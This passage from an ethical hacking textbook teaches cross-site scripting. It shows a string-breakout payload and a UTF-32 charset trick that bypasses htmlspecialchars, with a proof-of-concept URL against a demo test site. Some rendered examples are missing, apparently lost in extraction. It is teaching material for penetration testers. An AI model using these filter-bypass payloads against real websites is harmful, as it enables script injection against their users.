Ethical Hacking and Penetration Testing Guide

Example: Input in the Script Tag
This is common scenario you are likely to encounter in the real world, where your input is being 
reflected in a JavaScript string:

In this particular case, all we need to do is to close the string with single or double quotation 
marks depending upon the scenario, then terminate the string with a semicolon, and finally call 
the alert function. Our payload becomes
";alert(1)//
This is how it would be reflected inside to form a valid JavaScript syntax:

Note
: We have used // to comment out the rest of the query.
Bypassing htmlspecialchars
The htmlspecialchars function is good, but in certain contexts, it fails. Let’s talk about a few sce-
narios where htmlspecialchars protection miserably fails. You might not find them all of the time; 
they vary from website to website.

---

Web Hacking
◾ 
375
UTF-32 XSS Trick: Bypass 1
Consider the following scenario where the application is using htmlspecialchars to filter out the 
input; the “charset” parameter defines the encoding of the page.
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
We will try to inject our sample payload and take a look at the results:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”>
Since we have a parameter that is able to set the charset, we will try changing it to UTF-32 and 
try injecting a UTF-32-based payload:
∀⬜⬜
script
⬜
alert(1)
⬜
/script
⬜
Therefore, when we inject this payload, it will be encoded in UTF-32, and then as the output 
encoding of the page is utf-8, it will be rendered as follows:
"
The final POC would look like this:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%
B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
Note
: This bug occurs because we are able to set the charset encoding of the page.
This payload would execute the JavaScript in Internet Explorer 9 or below. The reason is not 
only that IE does not recognize the UTF-32 charset as Firefox, but also that IE up to version 
9 consumes null bytes “[0x00],” whereas Chrome and Safari do recognize the utf-32 charset.